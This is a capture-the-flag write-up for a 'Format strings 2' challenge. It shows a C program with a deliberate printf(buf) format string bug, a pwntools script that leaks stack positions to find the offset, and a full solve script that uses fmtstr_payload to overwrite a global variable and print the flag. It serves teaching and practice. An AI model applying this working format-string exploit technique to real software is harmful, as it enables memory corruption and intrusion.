Format strings 2

July 17, 20253 minutes
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
This program has a format string vulnerability, since buf is passed to printf without specifying the type
printf(buf);
The program checks whether the sus variable contains the value 0x67616c66 (which in ASCII is ‘flag’ reversed: ‘galf’). If it does, it prints the flag. But sus is initially defined as:
int sus = 0x21737573;
...
if (sus == 0x67616c66) { ... }
and it is never modified, so the condition is never met under normal conditions. The goal is to use the format string vulnerability to change the value of sus to 0x67616c66 and get the flag printed.
The first step is finding the offset. For that I used this script: it basically leaks each position of the stack and sends some ‘A’s at the beginning, so to find the offset you just look for where the ‘A’s get printed.
#!/usr/bin/env python3
from pwn import *
import base64
exe = ELF("./vuln_patched")
context.binary = exe
context.log_level = 'warn'
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for i in range(1, 50):
try:
r = conn()
payload = f"AAAAAAAA%{i}$p"
r.sendlineafter('say?', payload)
output = r.recvline()
output = r.recvline()
print(f"{i}: {output}")
except:
pass
r.interactive()
if __name__ == "__main__":
main()
1: b"Here's your input: AAAAAAAA0x7fff3b4f8c20\n"
2: b"Here's your input: AAAAAAAA(nil)\n"
3: b"Here's your input: AAAAAAAA(nil)\n"
4: b"Here's your input: AAAAAAAA(nil)\n"
5: b"Here's your input: AAAAAAAA0x7ff089bdeea0\n"
6: b"Here's your input: AAAAAAAA0x1\n"
7: b"Here's your input: AAAAAAAA0x7fff513823a0\n"
8: b"Here's your input: AAAAAAAA(nil)\n"
9: b"Here's your input: AAAAAAAA(nil)\n"
10: b"Here's your input: AAAAAAAA(nil)\n"
11: b"Here's your input: AAAAAAAA0x7f2e8da3a310\n"
12: b"Here's your input: AAAAAAAA0x7ffe73bb7450\n"
13: b"Here's your input: AAAAAAAA0x7fd193cdb274\n"
14: b"Here's your input: AAAAAAAA0x4141414141414141\n"
At position 14 it shows 0x4141414141414141, so we know the input is stored at position 14
Next we need the address of sus
pwndbg> p &sus
$1 = (<data variable, no debug info> *) 0x404060 <sus>
With this information we can now write the exploit
#!/usr/bin/env python3
from pwn import *
import base64
exe = ELF("./vuln_patched")
context.binary = exe
context.log_level = 'warn'
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
sus = 0x404060
nuevo_valor = 0x67616c66
offset = 14
payload = fmtstr_payload(offset, {sus: nuevo_valor})
# good luck pwning :)
r.sendlineafter('say?', payload)
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux format_strings_2]$ python3 solve.py LOCAL
Here's your input: 0c \x00 \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...